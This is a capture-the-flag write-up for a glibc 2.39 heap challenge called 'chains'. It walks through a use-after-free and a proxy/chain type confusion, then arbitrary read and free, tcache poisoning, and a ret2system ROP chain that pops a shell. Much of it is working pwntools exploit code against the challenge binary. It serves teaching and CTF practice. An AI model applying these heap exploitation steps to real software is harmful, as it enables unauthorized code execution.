Overview
This writeup will be in written in a stream of consciousness fashion, because I like reading those types of writeups from other people. The process is as important (if not more) as the solution!
I decided to write a writeup for this challenge as it really rocked me while solving it and implementing the solution. It’s quite non-standard, at least from my experience.
For a TLDR you can check the Recap (spoiler alert, obviously).
You can find the sources and author writeup here: https://github.com/C4T-BuT-S4D/bricsctf-2024-quals/tree/master/tasks/pwn/medium-chains (the explanation is quite minimal).
It’s a classic heap challenge (keep these operations in mind):
~> ./chains
1. Add Proxy
2. Delete Proxy
3. Add Chain
4. View Chain
5. Delete Chain
6. Exit
>
Using glibc version 2.39. Checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
We are even nicely given the source, here’s a snippet:
// ...
typedef struct _proxy {
char* hostname;
int16_t port;
} proxy_t;
typedef struct _chain {
proxy_t* proxy;
struct _chain* next;
} chain_t;
chain_t* chains[CHAINS_MAX_CNT];
proxy_t* proxies[PROXIES_MAX_CNT];
// ...
If you want to go over it you can check out the linked repo, but it mostly does what you’d expect. You can create and delete proxies and chains. When you create a chain you are asked to specify which proxies it will contain (multiple chains can contain the same proxy). One “chain” is a singly linked list of chain_t structs with the head stored in the chains array.
If you’re astute you may already be able to guess what the vulnerability is, but let’s go over some of the stuff you would usually check.
void read_into_buffer(char* buf, int size) {
char* result = fgets(buf, size, stdin);
if (result == NULL) {
perror("[-] Failed to read into buffer");
exit(1);
}
size_t length = strlen(buf);
if (length > 0 && buf[length - 1] == '\n') {
buf[length - 1] = '\0';
}
}
fgets is used for taking input so our input will be null terminated, and we have to watch for newlines early-terminating our input as well. I won’t go over the add functions but you can trust me that there are no buffer overflows. Here is the freeing:
void delete_chain(void) {
printf("[?] Enter chain id: ");
size_t chain_id = (size_t)read_integer();
if (chain_id >= CHAINS_MAX_CNT) {
puts("[-] Invalid chain index!");
return;
}
chain_t* chain = chains[chain_id];
if (chain == NULL) {
puts("[-] No such chain!");
return;
}
chain_dstr(chain);
chains[chain_id] = NULL;
}
// ...
void chain_dstr(chain_t* chain) {
chain_t* head = chain;
while (head != NULL) {
proxy_dstr(head->proxy);
head->proxy = NULL;
chain_t* next = head->next;
head->next = NULL;
free(head);
head = next;
}
}
The indexing is properly checked and everything seems to be nulled out after being freed as it should be. Note that when a chain is deleted all of its proxies are deleted with it.
void delete_proxy(void) {
printf("[?] Enter proxy id: ");
size_t proxy_id = (size_t)read_integer();
if (proxy_id >= PROXIES_MAX_CNT) {
puts("[-] Invalid proxy index!");
return;
}
proxy_t* proxy = proxies[proxy_id];
if (proxy == NULL) {
puts("[-] No such proxy!");
return;
}
proxy_dstr(proxy);
proxies[proxy_id] = NULL;
};
void proxy_dstr(proxy_t* proxy) {
free(proxy->hostname);
proxy->hostname = NULL;
free(proxy);
};
The indexing is properly checked. And the pointers are nulled out.
The vulnerability
So what’s the issue? The core problem is that when a proxy gets freed, either directly or by a chain being deleted, only its pointer in the proxies array gets nulled out. Nothing is done about any of the pointers that other chains contain to that proxy. So if we have:
chain A: [proxy x -> proxy y -> proxy z]
chain B: [proxy x -> proxy m -> proxy n]
After we delete chain A, chain B will still contain a pointer to proxy x even though it is freed memory. In other words, we have a Use After Free (UAF) vulnerability.
Exploitation
One thing we immediately want to know is what chunk sizes we will be playing with. Looking again at the structures we have:
typedef struct _proxy {
char* hostname;
int16_t port;
} proxy_t;
typedef struct _chain {
proxy_t* proxy;
struct _chain* next;
} chain_t;
The user size of the proxy and chain structs are both 0x10 (so chunk size 0x20). This lands us in the tcache and fastbins.
#define CHAINS_MAX_CNT 32
#define PROXIES_MAX_CNT 64
#define HOSTNAME_SIZE 128
#define MAX_CHAIN_SIZE 16
And the arrays are plenty big so that shouldn’t pose a problem. The hostname strings will be of user size 128 = 0x80 (so chunk size 0x90), landing us in the tcache / unsorted / small bins.
Seems simple enough!
Usually, the first idea that comes to mind at this point is tcache poison (https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_poisoning.c) which would require a libc and a heap leak. Let’s consider how that would look like for a second:
# ...IO helper functions...
p = start()
a = add_proxy(b':3', 1337) # (hostname, port)
ac1 = add_chain([a])
ac2 = add_chain([a])
delete_chain(ac1)
delete_proxy(a) # double free on a
# now take a out, overwrite it etc etc...
p.interactive()
p.close()
To perform a tcache poison we need to edit a chunk that is freed. Since this program doesn’t have an edit-type function we would have to perform a double free and then set the chunk fd pointer on allocation. The problem with this is
# ...
[*] Got EOF while reading in interactive
$
[DEBUG] Sent 0x1 bytes:
b'\n'
[*] Process '/debugchains_patched' stopped with exit code -11 (SIGSEGV) (pid 26823)
[*] Got EOF while sending in interactive
~>
that we cannot perform a double free.
This is what the heap looks like right after deletechain(ac1) is finished.
Now, a->hostname resolves to an invalid address, as the hostname pointer has been overwritten with an encrypted tcache pointer. So when we run deleteproxy(a) we get segmentation fault here:
void proxy_dstr(proxy_t* proxy) {
free(proxy->hostname); // <- SEGFAULT
proxy->hostname = NULL;
free(proxy);
};
because free tries to access an illegal address.
However, even if this was not an issue we would still be pretty screwed. Consider what the proxy struct looks like:
typedef struct _proxy {
char* hostname;
int16_t port;
} proxy_t;
Even if we could perform a double free, what then? We cannot directly control the contents of the hostname pointer, so direct arbitrary write is off the table. Maybe we could hope for getting a pointer to a free chunk there, but that requires both a heap leak (which we don’t yet have) and a double free (which we can’t do) along with some smart feng shui - let’s not go down that rabbit hole. We can directly control the port value, but that is only two bytes, and overlapped with the tcache key which is not very useful.
Our UAF seems pretty useless right about now. At least we can print the freed chunk for a leak right?
p = start()
a = add_proxy(b':D', 42)
ac = add_chain([a])
delete_proxy(a)
# note there is no "view proxy" functionality, only "view chain"
view_chain(ac)
p.interactive()
p.close()
…
# ...
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[DEBUG] Sent 0x1 bytes:
b'\n'
[*] Process '/debugchains_patched' stopped with exit code -11 (SIGSEGV) (pid 30688)
[*] Got EOF while sending in interactive
~>
Damn. The hostname pointer cooks us yet again:
void view_chain(void) {
// ...
while (chain != NULL) {
proxy_t* proxy = chain->proxy;
printf("[*] proxy #%d is %s:%d\n", proxy_id, proxy->hostname, proxy->port); // <- SIGSEGV
chain = chain->next;
++proxy_id;
}
}
So what the hell?! We have a Use After Free but we cannot double free, and we cannot actually use the chunk after it has been freed!
Type confusion is my best friend
The mistake in the reasoning above is thinking “I freed this proxy, what operations can I do on this proxy now?”. Once memory is freed it is not “a proxy” anymore, it is just “a chunk”. And that chunk can also be a chain_t. Is it really a coincidence that chain_t and proxy_t are the exact same size?
p = start()
victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
# something to put into the new chain, as it has to contain at least one proxy
fill = add_proxy(b'something')
# put victim in tcache (there is still a pointer to it in dangling)
delete_proxy(victim)
# take the victim chunk out that and "replace it" with a chain for chain
# overwrite .hostname with chain's .proxy
# dangling is still pointing to this
overlapping_proxy_chunk = add_chain([fill])
p.interactive()
p.close()
This^ is probably the one of the first things you would try after getting to that realization. Free a proxy allocate and it as a chain. Now dangling will think it is pointing to a proxy, while the chunk’s memory will be set up as a chain, and we can perform operations on it as a chain.
These are the things you will have to keep in mind for type confusion vulns, both in general and in regards to heap: “we can perform the operations meant for this type, on this memory” and “this part of the code thinks this memory is this type”.
So what does this look like in our case?
So if we do
view_chain(dangling)
guess what happens?
[*] Switching to interactive mode
[DEBUG] Received 0x6b bytes:
00000000 5b 2a 5d 20 70 72 6f 78 79 20 23 30 20 69 73 20 │[*] │prox│y #0│ is │
00000010 90 c3 55 55 55 55 3a 30 0a 31 2e 20 41 64 64 20 │··UU│UU:0│·1. │Add │
00000020 50 72 6f 78 79 0a 32 2e 20 44 65 6c 65 74 65 20 │Prox│y·2.│ Del│ete │
00000030 50 72 6f 78 79 0a 33 2e 20 41 64 64 20 43 68 61 │Prox│y·3.│ Add│ Cha│
00000040 69 6e 0a 34 2e 20 56 69 65 77 20 43 68 61 69 6e │in·4│. Vi│ew C│hain│
00000050 0a 35 2e 20 44 65 6c 65 74 65 20 43 68 61 69 6e │·5. │Dele│te C│hain│
00000060 0a 36 2e 20 45 78 69 74 0a 3e 20 │·6. │Exit│·> │
0000006b
[*] proxy #0 is \x90\xc3UUUU:0
1. Add Proxy
2. Delete Proxy
3. Add Chain
4. View Chain
5. Delete Chain
6. Exit
> $
We get a heap leak!! Parsing the leak:
p = start()
victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
fill = add_proxy(b'something')
delete_proxy(victim)
overlapping_proxy_chunk = add_chain([fill])
view_chain(dangling)
p.recvuntil(b'proxy #0 is ')
heap = unpack(p.recvuntil(b':0\n', drop=True).ljust(8, b'\x00')) - 0x390
print("== HEAP: ", hex(heap))
p.interactive()
p.close()
But what now?
Reverse the polarity
We replaced a proxy with a chain and got a heap leak, a natural question we could ask ourselves now would be: what happens if we replace a chain with a proxy? Let’s try it!
p = add_proxy('a')
c = add_chain([a])
delete_chain(c)
# ...?
Huh? How do we do this? The only reason we could replace a proxy with a chain was because we had UAF on proxies, but we don’t have that primitive on chains.
There is a way though. Think about it like this, we already know we can get to a state where part of the code thinks a chunk is a proxy, while another thinks it is a chain. So, any operation/primitive we have on chains, we also have on proxies; and any operation we have on proxies we have on proxies, we also have on chains. That is to say, since we can do UAF on proxies, we can translate that into UAF on chains!
The way we do this is simple, we free a proxy, reallocate it as a chain, then free the proxy again. This way the proxy/chain chunk will be freed, while the chain code will not know about it, and will happily continue to use it, i.e. a chain Use After Free.
Just one thing we need to check, is to make sure that the code that will free the proxy the second time will not segfault, as the chunk’s state will be that of a chain. Looking at our diagram from earlier and the freeing function:
void proxy_dstr(proxy_t* proxy) {
// This will actually be chain_t->proxy
// which is the "fill" chunk from the diagram.
// That is fine, no segfault.
free(proxy->hostname);
proxy->hostname = NULL;
free(proxy);
};
Everything seems fine. Let’s see what all this looks like in code:
p = start()
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
# this will also free victim
delete_chain(first_free)
# the proxy is reallocated as a chain
type_confused = add_chain([fill])
# free the type confused chunk again
# (this isn't double free, we just allocated it^)
delete_proxy(victim)
# the type_confused chain is now UAFd
p.interactive()
p.close()
And as we can see:
The chains array contains a freed pointer. Now remember, the point of this was to reallocate a chain as a proxy, so let’s do that.
p = start()
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
delete_chain(first_free)
type_confused = add_chain([fill])
delete_proxy(victim)
# ^^ same as before
# reallocate the chain as a proxy (changing the chunk)
proxy_over_chain = add_proxy(b'AAA')
p.interactive()
p.close()
But what does this get us? Let’s spin up another diagram:
This is actually really powerful as it allows us to control a pointer. Whatever we set as the hostname string when allocating proxy_over_chain will be interpreted as a pointer by type_confused. We can then do view_chain(type_confused) and it will print the bytes at that address/pointer (thinking it is a proxies hostname), that we set. This essentially gives us arbitrary read. Let’s test it out.
p = start()
# ==== HEAP LEAK ====
victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
fill = add_proxy(b'something')
delete_proxy(victim)
overlapping_proxy_chunk = add_chain([fill])
view_chain(dangling)
p.recvuntil(b'proxy #0 is ')
heap = unpack(p.recvuntil(b':0\n', drop=True).ljust(8, b'\x00')) - 0x390
print("== HEAP: ", hex(heap))
# ==== ARBITRARY READ TEST ====
# We will use our arbitrary read to print this
add_proxy(b'SOMELEAK')
leak_target = heap + 0x2c0
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
# Setting the .hostname (.proxy) as the address of the target
# Setting the .port (.next) as zero so we break out of the loop when printing the chain
proxy_over_chain = add_proxy(pack(leak_target), 0)
view_chain(type_confused)
p.interactive()
p.close()
Running the script we get:
# ...
b'5. Delete Chain\n'
b'6. Exit\n'
b'> '
[*] proxy #0 is SOMELEAK:10
1. Add Proxy
2. Delete Proxy
3. Add Chain
4. View Chain
5. Delete Chain
6. Exit
> $
[*] Interrupted
[*] Stopped process
~>
and can see it worked.
Libc leak
This is really powerful, and in particular allows us to easily get a libc leak. We just need to get a hostname chunk (0x90 internal size) into the unsorted bin by filling the tcache. Then we arbitrary read its fd/bk pointer and voila, a libc leak.
p = start()
# ==== HEAP LEAK ====
victim = add_proxy(b'uaf victim')
dangling = add_chain([victim])
fill = add_proxy(b'something')
delete_proxy(victim)
overlapping_proxy_chunk = add_chain([fill])
view_chain(dangling)
p.recvuntil(b'proxy #0 is ')
heap = unpack(p.recvuntil(b':0\n', drop=True).ljust(8, b'\x00')) - 0x390
print("== HEAP: ", hex(heap))
# ==== ARBITRARY READ ON UNSORTED -> LIBC LEAK ====
# prepare for filling the tcache
# 6 proxies + 1 chain = 7
tcache_arr = []
for x in range(6):
tcache_arr.append(add_proxy(b't'))
tcache_chain = add_chain(tcache_arr)
# our arbitrary read target:
unsorted = add_proxy(b'unsorted hostname')
leak_target = heap + 0x9f0 # we figure the offset out by checking in the debugger
# A proxy we won't ever free, so we won't have to worry
# about it being corrupted. Will use it to make chains
# that are needed for tcache emptying.
safe_proxy = add_proxy(b'safe')
# chunks needed for the arbitrary read
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
# fill the tcache (7 chunks)
delete_chain(tcache_chain)
# put the target into the unsorted bin
delete_proxy(unsorted)
# empty out the tcache bin
for i in range(7):
# making chains here instead of proxies
# so we don't run out of proxy indexes
add_chain([safe_proxy])
# arbitrary read logic
delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
proxy_over_chain = add_proxy(pack(leak_target), 0)
view_chain(type_confused)
# parse the libc leak
p.recvuntil(b'is ')
libc.address = unpack(p.recvuntil(b':1', drop=True).ljust(8, b'\x00')) - 0x203b20
print("== LIBC: ", hex(libc.address))
p.interactive()
p.close()
Running this gives us:
And we can check that that is indeed a libc address:
Stack leak
Before we move on, we will also get a stack leak as it may come in handy later (it will).
# continued...
# ==== ARBITRARY READ OF ENVIRON -> STACK LEAK ====
# The heap state isn't clean now, but since both the tcache
# and fastbins are take-from-front (stack-like) we don't
# really care.
leak_target = libc.sym['environ']
# Arbitrary read, same as before
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
proxy_over_chain = add_proxy(pack(leak_target), 0)
view_chain(type_confused)
# parse the stack leak
p.recvuntil(b'is ')
stack = unpack(p.recvuntil(b':1', drop=True).ljust(8, b'\x00'))
print("== STACK: ", hex(stack))
p.interactive()
p.close()
Which gives us
which we can verify:
belongs to the stack.
Note that we couldn’t get a heap leak directly with this arbitrary read primitive (where to point the pointer to?). Furthermore, we used a heap leak for the libc leak, which we used for the stack leak. Thus, the reallocate-proxy-as-chain trick we did in the beginning to get the heap leak was necessary.
Arbitrary write and code execution
Okay we are pretty loaded with leaks and have a reliable way to get more, but to get code execution via heap we usually need to achieve arbitrary (or restricted) write. What else is there left to do?
Actually, there is one more way we can use the tcache-replaced-by-proxy trick which we used for the arbitrary write. Let’s look at the diagram again.
What happens when type_confused gets deleted as a chain? It is going to call the proxy_dstr function on what it thinks is a proxy, but is actually a hostname which we can change arbitrarily.
void proxy_dstr(proxy_t* proxy) {
free(proxy->hostname); // We control "proxy->hostname"
proxy->hostname = NULL;
free(proxy);
}
In other words, free will be called on an address of our choosing. In the world of heap exploits this is really powerful, and will finally give us the tcache poison we dreamed of.
Ultimately, we would like to do tcache poison on the 0x90 bin as those chunks are the only ones where we have arbitrary control of the contents (because we can set an arbitrary hostname). That being said we cannot do a straight free on an already freed 0x90 chunk (double free) as we will fail the tcache key check and get:
[*] Switching to interactive mode
[DEBUG] Received 0x29 bytes:
b'free(): double free detected in tcache 2\n'
free(): double free detected in tcache 2
[*] Got EOF while reading in interactive
$
[*] Interrupted
What we can do however, is create a completely fresh fake chunk inside of our hostname and then free that. This will give us overlapping chunks and allow us to overwrite the fd pointer of the fake chunk when we allocate the hostname again. Here is the setup visualized:
In code:
# continued from before..
# ==== TCACHE POISON ====
# Need to allocate a chunk now which I
# can free later to increase the chunk count
# for the 0x90 tcache bin which will allow
# the poison to happen.
tcache_count_inc = add_proxy(b'tcache +1')
# This address is the address of
# victim's hostname + 0x20
fake_chunk_addr = heap + 0xb70
# reallocate-chain-as-proxy primitive, like before
victim = add_proxy(b'uaf victim')
first_free = add_chain([victim])
fill = add_proxy(b'something')
delete_chain(first_free)
add_proxy(b'whatever')
type_confused = add_chain([fill])
delete_proxy(victim)
# Setup fake chunk
proxy_over_chain = add_proxy(flat(
pack(fake_chunk_addr),
0,
0,
0x91,
), 0)
# Increase tcache count for the 0x90 bin
delete_proxy(tcache_count_inc)
# The victim->hostname (i.e. proxy_over_chain->hostname)
# will be freed, along with the fake chunk inside it
delete_chain(type_confused)
p.interactive()
p.close()
Which in memory looks like:
Now, getting from overlapping tcache chunks to code execution is pretty standard. We’re going to make a ret2system ROP chain with the stack leak we got earlier. First of all though:
# continued..
# Using tcache poison for ROP
target_addr = stack - 0x138
# Take the victim->hostname out
# and set the fd pointer of the fake chunk
add_proxy(flat(
0, 0,
0, 0x91,
mangle_ptr(target_addr, fake_chunk_addr)
))
p.interactive()
p.close()
In memory:
The 2 in 0x90 [ 2] denotes the chunk count, see why we had to increase it? Finally:
# continued..
# take out the fake chunk
add_proxy(b'whatever')
# ROP gadgets
pop_rdi = libc.address + 0x001ae710
ret = libc.address + 0x00152a63
# ret2system overwrite return address
add_proxy(flat(
0x0, # chunk alignment
pop_rdi,
next(libc.search(b'/bin/sh')),
ret, # stack alignment
libc.sym['system']
))
# Exit the program, triggering the ROP chain
p.sendlineafter(b'> ', b'6')
p.interactive()
p.close()
Running the exploit:
Gives us a shell! So happy…
Recap
glibc version 2.39 heap. Clear UAF on proxy_t but doesn’t allow double free needed for tcache poison due to structure layout.Type confusion over proxy_t and chain_t, one direction gives heap leak and allows UAF over chain_t. Type confusion in other direction gives pointer control allowing arbitrary read with view_chain and an arbitrary free with delete_chain. Libc leak (unsorted ) and stack leak (environ) via arbitrary read. Fake chunk + arbitrary free -> overlapping chunks -> tcache poison -> ROP (ret2system).
Check out the full exploit here: exploit.py